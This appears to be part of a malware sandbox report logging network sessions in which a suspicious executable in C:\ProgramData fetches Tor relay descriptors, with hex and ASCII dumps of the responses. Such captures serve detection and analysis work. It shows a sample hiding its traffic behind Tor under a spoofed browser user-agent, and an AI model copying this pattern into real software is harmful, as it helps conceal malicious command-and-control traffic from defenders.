Apr 2, 2023 09:49:18.868439913 CEST	113	IN	Data Raw: 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 20 52 65 6c 61 79 3d 31 2d 34 0a 77 20 42 61 6e 64 77 69 64 74 68 3d 36 36 30 30 0a 70 20 72 65 6a Data Ascii: 1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4w Bandwidth=6600p reject 1-65535r INSRelay42at8443 AIGW3ESUgsc8+pcSRFIjkX92CSE RYU2CFSyXToEsVl7UxklB9bdDv4 2023-04-02 02:07:08 140.78.100.42 8443 0s Fast HSDir Running Stable V2Dir

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.4	49705	178.79.182.63	9030	C:\ProgramData\micl\kdnku.exe

Timestamp	kBytes transferred	Direction	Data
Apr 2, 2023 09:50:12.687536001 CEST	2847	OUT	GET /tor/server/fp/4d3a3e3f98ceaef2e25a957574190c1ea6a7f7d1 HTTP/1.0 Host: 178.79.182.63 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Connection: close
Apr 2, 2023 09:50:12.762125969 CEST	2849	IN	HTTP/1.0 200 OK Date: Sun, 02 Apr 2023 07:50:12 GMT Content-Type: text/plain X-Your-Address-Is: 102.129.143.5 Content-Encoding: identity Expires: Tue, 04 Apr 2023 07:50:12 GMT Data Raw: 72 6f 75 74 65 72 20 63 61 72 72 79 6d 65 74 68 72 6f 75 67 68 20 35 38 2e 31 38 35 2e 36 39 2e 32 34 35 20 35 34 34 33 20 30 20 30 0a 69 64 65 6e 74 69 74 79 2d 65 64 32 35 35 31 39 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 41 51 51 41 42 79 45 4e 41 56 57 6f 44 4d 48 6e 70 6a 32 6f 51 77 33 76 63 59 41 4e 4c 43 2f 32 49 51 71 78 6d 55 58 47 5a 77 45 56 59 7a 76 30 46 56 58 4c 41 51 41 67 42 41 41 52 7a 70 37 4f 0a 31 6f 37 43 75 57 30 66 33 6e 36 4d 4f 67 6e 35 32 62 55 76 56 54 68 79 6a 4e 45 42 4c 67 58 4c 7a 44 43 55 47 30 51 6c 78 66 67 72 7a 41 30 48 79 4f 48 79 6c 64 32 56 68 42 4c 72 42 59 4a 77 0a 44 4b 6a 42 54 48 73 64 6e 52 7a 34 52 32 63 31 6b 58 35 78 6e 7a 54 53 4c 73 34 41 6b 54 72 74 6a 36 6b 38 30 31 79 51 6c 6f 75 46 39 4d 73 6d 79 7a 62 52 65 69 78 43 54 41 34 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 6d 61 73 74 65 72 2d 6b 65 79 2d 65 64 32 35 35 31 39 20 45 63 36 65 7a 74 61 4f 77 72 6c 74 48 39 35 2b 6a 44 6f 4a 2b 64 6d 31 4c 31 55 34 63 6f 7a 52 41 53 34 46 79 38 77 77 6c 42 73 0a 70 6c 61 74 66 6f 72 6d 20 54 6f 72 20 30 2e 34 2e 37 2e 31 33 20 6f 6e 20 4c 69 6e 75 78 0a 70 72 6f 74 6f 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 72 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 20 52 65 6c 61 79 3d 31 2d 34 0a 70 75 62 6c 69 73 68 65 64 20 32 30 32 33 2d 30 34 2d 30 31 20 31 37 3a 30 35 3a 35 38 0a 66 69 6e 67 65 72 70 72 69 6e 74 20 34 44 33 41 20 33 45 33 46 20 39 38 43 45 20 41 45 46 32 20 45 32 35 41 20 39 35 37 35 20 37 34 31 39 20 30 43 31 45 20 41 36 41 37 20 46 37 44 31 0a 75 70 74 69 6d 65 20 32 0a 62 61 6e 64 77 69 64 74 68 20 31 35 37 32 38 36 34 30 30 20 32 30 39 37 31 35 32 30 30 20 31 30 30 31 39 38 34 30 0a 65 78 74 72 61 2d 69 6e 66 6f 2d 64 69 67 65 73 74 20 42 42 44 43 38 46 31 39 37 30 43 34 46 32 41 32 42 33 32 36 45 37 34 41 41 43 45 36 30 39 37 43 31 30 33 39 42 39 30 33 20 44 63 49 36 64 76 79 61 6e 51 45 35 48 70 44 6b 2b 2b 66 69 59 63 6b 56 6f 42 53 68 72 76 6d 4b 59 6f 44 4d 6f 64 35 66 46 42 6b 0a 6f 6e 69 6f 6e 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4d 71 4d 56 45 4a 31 55 4f 2f 41 58 35 50 61 57 32 57 2b 6c 6c 6a 65 77 6a 37 70 6d 74 59 59 69 76 62 5a 57 6f 2b 4c 47 51 39 53 41 4a 31 37 45 41 34 4a 49 6c 5a 76 0a 62 76 4c 31 37 6a 6b 6b 36 33 70 46 37 42 4d 5a 6d 56 59 45 58 6d 4e 78 6f 75 4e 5a 48 46 79 2b 33 64 44 43 71 57 34 31 58 47 47 6a 51 2f 79 4b 76 48 6e 31 57 33 6c 39 46 46 7a 53 32 79 47 53 0a 56 61 42 43 62 59 5a 48 52 37 6c 52 30 50 30 6d 71 47 71 50 30 77 4a 54 36 6c 4c 6a 77 42 65 4b 56 72 42 73 46 51 4d 75 4f 33 71 75 4c 53 6a 4d 6d 4b 56 35 41 67 4d 42 41 41 45 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 73 69 67 6e 69 6e 67 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4c 4f 4b 33 62 6d 4d 4e Data Ascii: router carrymethrough 58.185.69.245 5443 0 0identity-ed25519-----BEGIN ED25519 CERT-----AQQAByENAVWoDMHnpj2oQw3vcYANLC/2IQqxmUXGZwEVYzv0FVXLAQAgBAARzp7O1o7CuW0f3n6MOgn52bUvVThyjNEBLgXLzDCUG0QlxfgrzA0HyOHyld2VhBLrBYJwDKjBTHsdnRz4R2c1kX5xnzTSLs4AkTrtj6k801yQlouF9MsmyzbReixCTA4=-----END ED25519 CERT-----master-key-ed25519 Ec6eztaOwrltH95+jDoJ+dm1L1U4cozRAS4Fy8wwlBsplatform Tor 0.4.7.13 on Linuxproto Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4published 2023-04-01 17:05:58fingerprint 4D3A 3E3F 98CE AEF2 E25A 9575 7419 0C1E A6A7 F7D1uptime 2bandwidth 157286400 209715200 10019840extra-info-digest BBDC8F1970C4F2A2B326E74AACE6097C1039B903 DcI6dvyanQE5HpDk++fiYckVoBShrvmKYoDMod5fFBkonion-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBAMqMVEJ1UO/AX5PaW2W+lljewj7pmtYYivbZWo+LGQ9SAJ17EA4JIlZvbvL17jkk63pF7BMZmVYEXmNxouNZHFy+3dDCqW41XGGjQ/yKvHn1W3l9FFzS2yGSVaBCbYZHR7lR0P0mqGqP0wJT6lLjwBeKVrBsFQMuO3quLSjMmKV5AgMBAAE=-----END RSA PUBLIC KEY-----signing-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBALOK3bmMN

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.4	49706	178.79.182.63	9030	C:\ProgramData\micl\kdnku.exe

Timestamp	kBytes transferred	Direction	Data
Apr 2, 2023 09:50:13.150482893 CEST	2852	OUT	GET /tor/server/fp/99d65135d343eb8549b2d46c4ef8ca71c6c91add HTTP/1.0 Host: 178.79.182.63 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Connection: close
Apr 2, 2023 09:50:13.179806948 CEST	2853	IN	HTTP/1.0 200 OK Date: Sun, 02 Apr 2023 07:50:13 GMT Content-Type: text/plain X-Your-Address-Is: 102.129.143.5 Content-Encoding: identity Expires: Tue, 04 Apr 2023 07:50:13 GMT Data Raw: 72 6f 75 74 65 72 20 4e 54 48 37 52 33 20 31 39 32 2e 34 32 2e 31 31 36 2e 31 39 37 20 39 30 30 32 20 30 20 30 0a 69 64 65 6e 74 69 74 79 2d 65 64 32 35 35 31 39 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 41 51 51 41 42 79 45 78 41 66 65 49 6d 37 46 2b 57 72 77 48 64 62 67 33 62 4f 6b 47 2f 75 6f 4d 4c 64 4c 33 76 79 4b 31 4f 30 63 33 77 54 32 52 4b 4d 55 79 41 51 41 67 42 41 42 36 73 54 4c 48 0a 77 41 62 4f 44 46 68 70 6c 36 4e 30 54 6a 4f 4d 69 31 7a 6e 6b 55 71 30 65 36 30 6e 5a 59 70 6f 6b 79 2f 64 43 45 6d 4a 4f 4e 6c 74 39 71 4b 4f 73 72 30 5a 64 63 79 47 74 47 6d 41 4b 36 6a 46 0a 48 57 46 31 61 35 71 43 48 6a 38 48 2b 52 38 57 39 69 46 54 38 5a 74 6f 65 62 2f 4d 35 47 4b 65 61 63 77 32 5a 36 30 6b 41 6e 76 49 32 70 47 75 77 78 2b 4f 31 74 48 62 30 51 73 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 6d 61 73 74 65 72 2d 6b 65 79 2d 65 64 32 35 35 31 39 20 65 72 45 79 78 38 41 47 7a 67 78 59 61 5a 65 6a 64 45 34 7a 6a 49 74 63 35 35 46 4b 74 48 75 74 4a 32 57 4b 61 4a 4d 76 33 51 67 0a 6f 72 2d 61 64 64 72 65 73 73 20 5b 32 30 30 31 3a 36 37 63 3a 36 65 63 3a 32 30 33 3a 31 39 32 3a 34 32 3a 31 31 36 3a 31 39 37 5d 3a 39 30 30 32 0a 70 6c 61 74 66 6f 72 6d 20 54 6f 72 20 30 2e 34 2e 37 2e 31 33 20 6f 6e 20 46 72 65 65 42 53 44 0a 70 72 6f 74 6f 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 72 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 20 52 65 6c 61 79 3d 31 2d 34 0a 70 75 62 6c 69 73 68 65 64 20 32 30 32 33 2d 30 34 2d 30 31 20 31 34 3a 35 38 3a 33 38 0a 66 69 6e 67 65 72 70 72 69 6e 74 20 39 39 44 36 20 35 31 33 35 20 44 33 34 33 20 45 42 38 35 20 34 39 42 32 20 44 34 36 43 20 34 45 46 38 20 43 41 37 31 20 43 36 43 39 20 31 41 44 44 0a 75 70 74 69 6d 65 20 38 34 32 35 39 38 0a 62 61 6e 64 77 69 64 74 68 20 31 30 34 38 35 37 36 30 30 20 31 39 36 36 30 38 30 30 30 20 32 37 30 38 38 39 36 30 0a 65 78 74 72 61 2d 69 6e 66 6f 2d 64 69 67 65 73 74 20 42 46 32 33 42 33 39 43 45 33 38 39 42 33 30 34 33 31 33 45 35 45 38 46 35 44 30 42 31 34 37 33 39 42 43 32 31 38 35 32 20 51 79 73 67 6f 70 48 44 31 39 6e 5a 6b 61 68 53 77 62 55 39 52 2b 4c 55 63 33 47 44 37 4f 34 66 50 6f 62 6e 73 32 6b 44 56 6e 45 0a 6f 6e 69 6f 6e 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4d 4b 70 33 34 6d 45 70 56 70 46 4a 68 77 6f 64 70 56 46 41 43 68 58 64 47 6f 79 30 47 7a 6a 4f 44 75 79 59 50 69 39 53 70 42 71 61 4d 74 35 4d 42 50 46 64 32 6e 41 0a 6d 30 4a 57 53 53 37 53 44 7a 4d 4e 70 38 43 71 65 72 44 57 36 7a 62 70 52 31 76 62 36 70 41 57 53 75 69 39 48 50 4e 34 59 75 66 64 41 50 63 69 79 58 4b 53 79 31 77 30 6c 59 64 62 4e 56 43 67 0a 4f 45 77 36 31 41 72 6c 48 4f 6a 34 41 6f 43 50 6b 42 76 5a 46 46 46 2f 49 4d 6e 57 33 76 73 76 51 57 65 35 71 66 79 4a 31 6d 59 75 69 4c 78 32 73 6a 38 44 41 67 4d 42 41 41 45 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 73 69 67 6e 69 6e 67 2d 6b 65 Data Ascii: router NTH7R3 192.42.116.197 9002 0 0identity-ed25519-----BEGIN ED25519 CERT-----AQQAByExAfeIm7F+WrwHdbg3bOkG/uoMLdL3vyK1O0c3wT2RKMUyAQAgBAB6sTLHwAbODFhpl6N0TjOMi1znkUq0e60nZYpoky/dCEmJONlt9qKOsr0ZdcyGtGmAK6jFHWF1a5qCHj8H+R8W9iFT8Ztoeb/M5GKeacw2Z60kAnvI2pGuwx+O1tHb0Qs=-----END ED25519 CERT-----master-key-ed25519 erEyx8AGzgxYaZejdE4zjItc55FKtHutJ2WKaJMv3Qgor-address [2001:67c:6ec:203:192:42:116:197]:9002platform Tor 0.4.7.13 on FreeBSDproto Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4published 2023-04-01 14:58:38fingerprint 99D6 5135 D343 EB85 49B2 D46C 4EF8 CA71 C6C9 1ADDuptime 842598bandwidth 104857600 196608000 27088960extra-info-digest BF23B39CE389B304313E5E8F5D0B14739BC21852 QysgopHD19nZkahSwbU9R+LUc3GD7O4fPobns2kDVnEonion-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBAMKp34mEpVpFJhwodpVFAChXdGoy0GzjODuyYPi9SpBqaMt5MBPFd2nAm0JWSS7SDzMNp8CqerDW6zbpR1vb6pAWSui9HPN4YufdAPciyXKSy1w0lYdbNVCgOEw61ArlHOj4AoCPkBvZFFF/IMnW3vsvQWe5qfyJ1mYuiLx2sj8DAgMBAAE=-----END RSA PUBLIC KEY-----signing-ke

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.4	49707	178.79.182.63	9030	C:\ProgramData\micl\kdnku.exe

Timestamp	kBytes transferred	Direction	Data
Apr 2, 2023 09:50:14.951714993 CEST	2866	OUT	GET /tor/server/fp/4d3a3e3f98ceaef2e25a957574190c1ea6a7f7d1 HTTP/1.0 Host: 178.79.182.63 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Connection: close
Apr 2, 2023 09:50:14.992108107 CEST	2868	IN	HTTP/1.0 200 OK Date: Sun, 02 Apr 2023 07:50:14 GMT Content-Type: text/plain X-Your-Address-Is: 102.129.143.5 Content-Encoding: identity Expires: Tue, 04 Apr 2023 07:50:14 GMT Data Raw: 72 6f 75 74 65 72 20 63 61 72 72 79 6d 65 74 68 72 6f 75 67 68 20 35 38 2e 31 38 35 2e 36 39 2e 32 34 35 20 35 34 34 33 20 30 20 30 0a 69 64 65 6e 74 69 74 79 2d 65 64 32 35 35 31 39 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 41 51 51 41 42 79 45 4e 41 56 57 6f 44 4d 48 6e 70 6a 32 6f 51 77 33 76 63 59 41 4e 4c 43 2f 32 49 51 71 78 6d 55 58 47 5a 77 45 56 59 7a 76 30 46 56 58 4c 41 51 41 67 42 41 41 52 7a 70 37 4f 0a 31 6f 37 43 75 57 30 66 33 6e 36 4d 4f 67 6e 35 32 62 55 76 56 54 68 79 6a 4e 45 42 4c 67 58 4c 7a 44 43 55 47 30 51 6c 78 66 67 72 7a 41 30 48 79 4f 48 79 6c 64 32 56 68 42 4c 72 42 59 4a 77 0a 44 4b 6a 42 54 48 73 64 6e 52 7a 34 52 32 63 31 6b 58 35 78 6e 7a 54 53 4c 73 34 41 6b 54 72 74 6a 36 6b 38 30 31 79 51 6c 6f 75 46 39 4d 73 6d 79 7a 62 52 65 69 78 43 54 41 34 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 6d 61 73 74 65 72 2d 6b 65 79 2d 65 64 32 35 35 31 39 20 45 63 36 65 7a 74 61 4f 77 72 6c 74 48 39 35 2b 6a 44 6f 4a 2b 64 6d 31 4c 31 55 34 63 6f 7a 52 41 53 34 46 79 38 77 77 6c 42 73 0a 70 6c 61 74 66 6f 72 6d 20 54 6f 72 20 30 2e 34 2e 37 2e 31 33 20 6f 6e 20 4c 69 6e 75 78 0a 70 72 6f 74 6f 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 72 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 20 52 65 6c 61 79 3d 31 2d 34 0a 70 75 62 6c 69 73 68 65 64 20 32 30 32 33 2d 30 34 2d 30 31 20 31 37 3a 30 35 3a 35 38 0a 66 69 6e 67 65 72 70 72 69 6e 74 20 34 44 33 41 20 33 45 33 46 20 39 38 43 45 20 41 45 46 32 20 45 32 35 41 20 39 35 37 35 20 37 34 31 39 20 30 43 31 45 20 41 36 41 37 20 46 37 44 31 0a 75 70 74 69 6d 65 20 32 0a 62 61 6e 64 77 69 64 74 68 20 31 35 37 32 38 36 34 30 30 20 32 30 39 37 31 35 32 30 30 20 31 30 30 31 39 38 34 30 0a 65 78 74 72 61 2d 69 6e 66 6f 2d 64 69 67 65 73 74 20 42 42 44 43 38 46 31 39 37 30 43 34 46 32 41 32 42 33 32 36 45 37 34 41 41 43 45 36 30 39 37 43 31 30 33 39 42 39 30 33 20 44 63 49 36 64 76 79 61 6e 51 45 35 48 70 44 6b 2b 2b 66 69 59 63 6b 56 6f 42 53 68 72 76 6d 4b 59 6f 44 4d 6f 64 35 66 46 42 6b 0a 6f 6e 69 6f 6e 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4d 71 4d 56 45 4a 31 55 4f 2f 41 58 35 50 61 57 32 57 2b 6c 6c 6a 65 77 6a 37 70 6d 74 59 59 69 76 62 5a 57 6f 2b 4c 47 51 39 53 41 4a 31 37 45 41 34 4a 49 6c 5a 76 0a 62 76 4c 31 37 6a 6b 6b 36 33 70 46 37 42 4d 5a 6d 56 59 45 58 6d 4e 78 6f 75 4e 5a 48 46 79 2b 33 64 44 43 71 57 34 31 58 47 47 6a 51 2f 79 4b 76 48 6e 31 57 33 6c 39 46 46 7a 53 32 79 47 53 0a 56 61 42 43 62 59 5a 48 52 37 6c 52 30 50 30 6d 71 47 71 50 30 77 4a 54 36 6c 4c 6a 77 42 65 4b 56 72 42 73 46 51 4d 75 4f 33 71 75 4c 53 6a 4d 6d 4b 56 35 41 67 4d 42 41 41 45 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 73 69 67 6e 69 6e 67 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4c 4f 4b 33 62 6d 4d 4e Data Ascii: router carrymethrough 58.185.69.245 5443 0 0identity-ed25519-----BEGIN ED25519 CERT-----AQQAByENAVWoDMHnpj2oQw3vcYANLC/2IQqxmUXGZwEVYzv0FVXLAQAgBAARzp7O1o7CuW0f3n6MOgn52bUvVThyjNEBLgXLzDCUG0QlxfgrzA0HyOHyld2VhBLrBYJwDKjBTHsdnRz4R2c1kX5xnzTSLs4AkTrtj6k801yQlouF9MsmyzbReixCTA4=-----END ED25519 CERT-----master-key-ed25519 Ec6eztaOwrltH95+jDoJ+dm1L1U4cozRAS4Fy8wwlBsplatform Tor 0.4.7.13 on Linuxproto Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4published 2023-04-01 17:05:58fingerprint 4D3A 3E3F 98CE AEF2 E25A 9575 7419 0C1E A6A7 F7D1uptime 2bandwidth 157286400 209715200 10019840extra-info-digest BBDC8F1970C4F2A2B326E74AACE6097C1039B903 DcI6dvyanQE5HpDk++fiYckVoBShrvmKYoDMod5fFBkonion-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBAMqMVEJ1UO/AX5PaW2W+lljewj7pmtYYivbZWo+LGQ9SAJ17EA4JIlZvbvL17jkk63pF7BMZmVYEXmNxouNZHFy+3dDCqW41XGGjQ/yKvHn1W3l9FFzS2yGSVaBCbYZHR7lR0P0mqGqP0wJT6lLjwBeKVrBsFQMuO3quLSjMmKV5AgMBAAE=-----END RSA PUBLIC KEY-----signing-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBALOK3bmMN

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.4	49708	178.79.182.63	9030	C:\ProgramData\micl\kdnku.exe

Timestamp	kBytes transferred	Direction	Data
Apr 2, 2023 09:50:15.360518932 CEST	2871	OUT	GET /tor/server/fp/cf1280a23969a8459625e80ed50cc2c0885ecd72 HTTP/1.0 Host: 178.79.182.63 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Connection: close
Apr 2, 2023 09:50:15.388995886 CEST	2872	IN	HTTP/1.0 200 OK Date: Sun, 02 Apr 2023 07:50:15 GMT Content-Type: text/plain X-Your-Address-Is: 102.129.143.5 Content-Encoding: identity Expires: Tue, 04 Apr 2023 07:50:15 GMT Data Raw: 72 6f 75 74 65 72 20 44 6f 72 75 6d 61 61 20 36 36 2e 38 35 2e 31 32 38 2e 32 31 38 20 34 34 33 20 30 20 30 0a 69 64 65 6e 74 69 74 79 2d 65 64 32 35 35 31 39 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 41 51 51 41 42 79 47 43 41 56 32 6a 33 4c 74 41 43 75 49 78 5a 42 4d 6f 58 65 69 76 62 31 31 47 59 51 55 70 6d 41 38 39 4e 43 38 6a 6e 78 4b 30 64 4c 36 4e 41 51 41 67 42 41 43 2b 75 45 6b 78 0a 30 61 72 35 64 39 58 66 32 36 7a 47 32 39 67 4e 31 36 7a 2f 2f 52 6c 57 4a 52 57 4a 6f 75 6c 63 51 73 48 6a 66 41 34 56 52 33 33 71 77 6a 39 78 73 4a 6a 75 57 48 56 72 63 42 66 32 67 61 4e 6f 0a 44 42 4f 6b 47 73 76 79 56 75 35 54 6f 47 56 65 6e 4e 51 7a 6d 47 68 6d 57 49 75 42 69 7a 45 36 64 71 75 76 6c 6d 4d 58 66 2f 73 38 77 42 41 35 50 68 6f 54 2b 64 65 30 4e 67 41 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 6d 61 73 74 65 72 2d 6b 65 79 2d 65 64 32 35 35 31 39 20 76 72 68 4a 4d 64 47 71 2b 58 66 56 33 39 75 73 78 74 76 59 44 64 65 73 2f 2f 30 5a 56 69 55 56 69 61 4c 70 58 45 4c 42 34 33 77 0a 70 6c 61 74 66 6f 72 6d 20 54 6f 72 20 30 2e 34 2e 37 2e 31 33 20 6f 6e 20 4c 69 6e 75 78 0a 70 72 6f 74 6f 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 72 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 20 52 65 6c 61 79 3d 31 2d 34 0a 70 75 62 6c 69 73 68 65 64 20 32 30 32 33 2d 30 34 2d 30 31 20 31 32 3a 35 32 3a 33 35 0a 66 69 6e 67 65 72 70 72 69 6e 74 20 43 46 31 32 20 38 30 41 32 20 33 39 36 39 20 41 38 34 35 20 39 36 32 35 20 45 38 30 45 20 44 35 30 43 20 43 32 43 30 20 38 38 35 45 20 43 44 37 32 0a 75 70 74 69 6d 65 20 37 35 36 30 31 35 0a 62 61 6e 64 77 69 64 74 68 20 31 30 37 33 37 34 31 38 32 34 20 31 30 37 33 37 34 31 38 32 34 20 31 30 33 32 38 38 37 35 0a 65 78 74 72 61 2d 69 6e 66 6f 2d 64 69 67 65 73 74 20 35 46 46 37 33 38 46 45 37 33 37 32 36 46 42 34 30 33 36 36 36 32 46 38 46 32 46 37 32 33 35 42 46 34 31 31 32 36 46 46 20 54 4c 50 4e 67 4f 79 53 58 37 43 5a 35 4e 6c 32 79 57 77 62 55 49 6c 38 37 4d 74 49 72 59 53 78 62 38 64 44 44 6e 31 6d 70 6f 77 0a 6f 6e 69 6f 6e 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4d 49 6e 2f 6a 4d 53 4e 72 46 6c 66 4f 66 49 59 6d 6d 67 72 49 6a 4b 4a 70 66 57 63 65 76 36 76 48 2f 46 71 47 41 6c 44 4f 48 2b 4a 64 58 4e 78 57 63 61 53 4d 68 6c 0a 32 6c 66 61 4e 38 68 35 42 6f 2f 43 51 38 4a 32 61 67 4e 53 2f 69 49 70 65 57 70 51 75 55 47 6d 61 63 47 51 48 76 71 70 30 39 56 33 77 62 4e 32 36 4d 4b 45 52 61 61 6f 76 6f 54 62 56 64 59 77 0a 53 68 2f 55 39 4b 36 77 67 69 70 2b 78 62 65 39 37 66 68 45 6b 43 4b 5a 5a 71 61 6a 32 32 48 6a 64 49 4a 58 52 33 4d 4f 4b 34 6e 52 56 52 67 65 35 34 50 56 41 67 4d 42 41 41 45 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 73 69 67 6e 69 6e 67 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4d 36 7a 52 48 53 2b 65 6b Data Ascii: router Dorumaa 66.85.128.218 443 0 0identity-ed25519-----BEGIN ED25519 CERT-----AQQAByGCAV2j3LtACuIxZBMoXeivb11GYQUpmA89NC8jnxK0dL6NAQAgBAC+uEkx0ar5d9Xf26zG29gN16z//RlWJRWJoulcQsHjfA4VR33qwj9xsJjuWHVrcBf2gaNoDBOkGsvyVu5ToGVenNQzmGhmWIuBizE6dquvlmMXf/s8wBA5PhoT+de0NgA=-----END ED25519 CERT-----master-key-ed25519 vrhJMdGq+XfV39usxtvYDdes//0ZViUViaLpXELB43wplatform Tor 0.4.7.13 on Linuxproto Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4published 2023-04-01 12:52:35fingerprint CF12 80A2 3969 A845 9625 E80E D50C C2C0 885E CD72uptime 756015bandwidth 1073741824 1073741824 